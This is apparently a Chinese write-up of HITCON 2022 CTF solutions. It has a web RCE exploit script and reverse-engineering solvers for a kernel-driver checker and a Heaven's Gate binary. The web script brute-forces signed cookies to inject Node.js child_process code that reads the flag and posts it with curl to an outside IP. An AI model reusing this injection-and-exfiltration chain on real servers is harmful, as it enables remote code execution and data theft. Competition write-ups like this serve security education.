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Web
RCE
解题思路
import requests
import urllib.parse
import re
from multiprocessing.pool import ThreadPool
import binascii
target_url = 'http://24fhhiuetp.rce.chal.hitconctf.com'
REGEX = '(?<=s:).*?(?=.)'
s = requests.session()
original_payloads = ['global.a1 = 'child'',
'a1 = a1 + '_process'',
'global.b=require(a1)',
'global.c1 = ''' ,
'c1=c1+'cat /flag-1e'',
'c1=c1+'5657085ea974'',
'c1=c1+'db77cdef03cc'',
'c1=c1+'5753833fea16'',
'c1=c1+ '68'',
'c1=c1+'>1&curl 101.'',
'c1=c1+'43.93.56 '',
'c1= c1+' -d @1'',
' b.exec(c1)']
hex_payloads = [i.encode("utf-8").hex() for i in original_payloads]
exploit_payloads = []
def init_attack():
s.get(target_url)
# print(s.cookies.get("code"))
def brute_force(payload):
count = 1
tmp_cookie = s.cookies.get("code")
while True:
res = requests.get(target_url+'/random',cookies={'code':tmp_cookie}, proxies={'http':'127.0.0.1:8080'})
cookies = urllib.parse.unquote(res.cookies.get("code"))
cookies = ''.join(re.findall(REGEX, cookies))
tmp = payload[:count]
if(tmp==cookies):
tmp_cookie = res.cookies.get("code")
count += 1
print(cookies)
elif (count==len(payload)+1):
break
else:
continue
exploit_payloads.append( str(binascii.unhexlify(payload)) + " : " + tmp_cookie)
print(payload + " : " + tmp_cookie)
if __name__ == '__main__':
init_attack()
pool = ThreadPool(10)
pool.map(brute_force, hex_payloads)
pool.close()
pool.join()
print(exploit_payloads)
Reverse
checker
解题思路
检查部分
switch ( CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart )
{
case 0x222000u:
sub_1400014D0(0);
byte_140013190[0] = 1;
break;
case 0x222010u:
sub_1400014D0(32u);
byte_140013191 = 1;
break;
case 0x222020u:
sub_1400014D0(64u);
byte_140013192 = 1;
break;
case 0x222030u:
sub_1400014D0(96u);
byte_140013193 = 1;
break;
case 0x222040u:
sub_1400014D0(128u);
byte_140013194 = 1;
break;
case 0x222050u:
sub_1400014D0(160u);
byte_140013195 = 1;
break;
case 0x222060u:
sub_1400014D0(192u);
byte_140013196 = 1;
break;
case 0x222070u:
sub_1400014D0(224u);
byte_140013197 = 1;
break;
case 0x222080u:
if ( !Length )
goto LABEL_15;
v7 = 1;
v8 = 0i64;
while ( byte_140013190[v8] )
{
if ( ++v8 >= 8 )
goto LABEL_21;
}
v7 = 0;
LABEL_21:
if ( v7 )
{
v9 = dword_140003000 - 0x63746968;
if ( dword_140003000 == 0x63746968 )
v9 = (unsigned __int16)word_140003004 - 0x6E6F;
**(_BYTE **)(a2 + 24) = v9 == 0;
}
else
{
LABEL_15:
**(_BYTE **)(a2 + 24) = 0;
}
break;
大概就是这些值都要过一遍，并且最后要和两个值相等(hitcon) 上面有个函数sub_1400014D0(0)，里面进行了一些xor变换 然后看驱动入口，除了注册上面的major function外，还有如下
PhysicalAddress = MmGetPhysicalAddress((char *)sub_140001490 + 0x1B70);// 0x140003000
qword_140013170 = (char *)MmMapIoSpace(PhysicalAddress, 0x1000ui64, MmNonCached);
qword_140013178 = (__int64)(qword_140013170 + 0x30);// 0x140003030
v5 = MmGetPhysicalAddress((char *)sub_140001490 - 96);// 140001430
qword_140013188 = (char *)MmMapIoSpace(v5, 0x1000ui64, MmNonCached);
qword_140013180 = qword_140013188 + 0x700; // 0x140001b30
可以发现，这里地址其中之一就是某个操作函数的地址，实际上就是自修改代码，必须输入正确的序列才能得到正确的代码
d_0x140001b30=b'x80xe9"x80xf1xadx0fxb6xc1kxc8x11xb8x9ex00x00x00*xc1xc3' # xor_sub
d_0x140001430=b'@SHx83xec Hx8bx05;x0cx00x00Hx8bxdaHx8bJx10H9x08u7Hx8bJx08xffx15x1d'
xor_d=b"x19xbcx8fx82xd0,a4xc0x9fxf6Pxd5xfbx0cnxd0xebxe5xe3xcexb5LxcaExaax11xb2>bo}xd0xebxa9xe3xb2/x06G|(xc5xdexdex1aNxd6xd8-x93Ox82edxfdx08bKx87~RG0xb7xbaxd09hSPxab xd5xcax84&qox91x1b6Fx11xa5xf1NXltxd4x9cx15xe2(xd5xd9x0f=x83xf3xfcxd1x13x1abx12@xaaxeaxcdxcbxe1xc6x08x81x98xf6hx88xbe#xb5x9eUxb9xe2}Zxda9x07xf0.2 YVLxb4x8f>x07axd9x0f-axf1x913x14xcbIhxfex1fxd4x8axfexe1xc6x18cx9ax9bx8ax8ax7fx08xc3xe8xe1xecx0bx8f;x00x94xa5x11xe7Gfxc4x9fx98x18pxf00xf6x94qxb1x95xd1xf0oxb7xd9=x05x9exc1S3vx9bKixcaxdexfd}gxb8)+xc7xc5x84,xd1x87x87xf1x98x97txadK2xf0JQrxeatxf78xfd'xbdx1cRqCx95x9cx1ax86xf2xc0xf9xf8"
c=b'c`xa5xb9xffxfc0nHxbbxfexfe2,nxd6xe6xfexfe2,nxd6xbbJJ2,xfcxffnxfdxbbxfe,xb9cxd6xb9bxd6nO'
from unicorn import *
import unicorn.x86_const as uc
import itertools as it
import capstone as cp
def xor_sub(a1):
return (-98 - 17 * ((a1 - 34) ^ 0xAD)+0x100000000)&0xff
def disasm(code):
cs=cp.Cs(cp.CS_ARCH_X86,cp.CS_MODE_32)
for i in cs.disasm(code,0):
print(i)
def exe(code,data,end=0x13):
# disasm(code)
mu=Uc(UC_ARCH_X86,UC_MODE_64)
base=0
stack_addr=0X100000
size=1024*1024
mu.mem_map(base,size)
mu.mem_map(stack_addr,size)
mu.mem_write(base,code)
mu.reg_write(uc.UC_X86_REG_RSP,stack_addr+size-1)
mu.reg_write(uc.UC_X86_REG_RCX,data)
mu.emu_start(base,base+end)
r=mu.reg_read(uc.UC_X86_REG_RAX)
return r
def check(seq):
f=[i for i in c]
code=[i for i in d_0x140001b30]
for i in range(32):
code[i%16]^=d_0x140001430[i]
for j,e in seq:
x=xor_d[j*32:j*32+32]
for i in range(16):
code[i]^=x[i]
for i in range(len(f)):
f[i]=exe(bytes(code),f[i],e)
for i in range(16):
code[i]^=x[i+16]
print(bytes(f))
seq=[(7,0xd),(2,6),(6,0xd),(0,0x3),(1,0x3),(4,0xc),(3,0x9),(5,0xd)] # 通过disasm不断尝试找到合法的指令和结束位置
check(seq)
Meow
解题思路
一眼天堂之门
dump出code后保存成单个二进制文件，使用IDA单独分析特征。一般这么多函数的肯定有公共特征
c=b"x96Pxcf,xebx9bxaaxfbSxabsxddlx9exdbxbcxeexab#xd6x16xfdxf1xf0xb9uxc3(xa2t}xe3'xd5x95\xf5vuxc9x8cxfbBx0exbdQxa2x98"
codes=b'j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xbagx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1/gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00Usage: %s <flag>nx00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xcdgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00Wrong lengthnx00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xf6gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1x9fgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00Wrongnx00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1xd0gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00I know you know the flag!nx00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1"gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1xf7gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xd0gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1x1fgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1xa8gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1=gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xc7gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xa5gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1Ggx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1hgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xd7gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1Jgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1x96gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1x91gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1.gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1x19gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xc5gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xe3gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1x88gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1xbdgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1Ngx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1x93gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6@x02gx8bL$x1cgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1x13gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00x00x00x00x00x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14g*x0ex80xf1xf1gx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83x04$x05xcbH1xc0eHx8b@`Hx0fxb6x80xbcx00x00x00gx8bL$x1cx83xe0pgx89x01x85xc0ux18gx8b|$x04gx8bt$x0cgx8bL$x14gx02x0ex80xf1xccgx88x0fxe8x00x00x00x00xc7D$x04#x00x00x00x83x04$rxcbxc3x00x00j3xe8x00x00x00x00x83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base=0x4031c0
head=b'x6ax33xe8x00x00x00x00x83x04x24x05xcb'
tail=bytes.fromhex("e800000000c7442404230000008304240dcbc3")
import capstone as cp
def disasm(code,p=True):
cs=cp.Cs(cp.CS_ARCH_X86,cp.CS_MODE_64)
if p:
for i in cs.disasm(code,0):
print(i)
return cs.disasm(code,0)
def find_addr(codes:bytes):
addrs=[]
start=0
while start<len(codes):
st=codes[start:].find(head)
if st==-1:break
start+=st
end=codes[start:].find(tail)
addrs.append((start,start+end))
start=start+end+len(tail)
return addrs
def get_xor_data(code):
for i in disasm(code,p=False):
if i.mnemonic=='xor':
# print(i)
if 'rax' not in i.op_str:
# print(i.op_str)
return int(i.op_str.split(',')[-1],base=16)
def get_op(code):
dis=disasm(code,False)
ops=[i.mnemonic for i in dis]
# print(ops)
if ops[-3]=='add':
return 1
elif ops[-3]=='sub':
return 2
else:
print(ops)
exit()
addrs=find_addr(codes)
add_data=[196,22,142,119,5,185,13,107,36,85,18,53,118,231,251,160,218,52,132,180,200,155,239,180,185,10,87,92,254,197,106,115,73,189,17,214,143,107,10,151,171,78,237,254,151,249,152,101]
xor_data=[get_xor_data(codes[st:en]) for st,en in addrs]
op=[get_op(codes[st:en]) for st,en in addrs]
# get_op(codes[addrs[0][0]:addrs[0][1]])
f=[0]*len(c)
for i in range(len(c)):
if op[i]==1:
f[i]=(c[i]^xor_data[i])-add_data[i]+0x100&0xff
elif op[i]==2:
f[i]=add_data[i]-(c[i]^xor_data[i])+0x100&0xff
else:
print(i,op[i])
exit()
print(bytes(f))原文始发于微信公众号（ChaMd5安全团队）：2022HITCON WriteUp by Mini-Venom（招新）
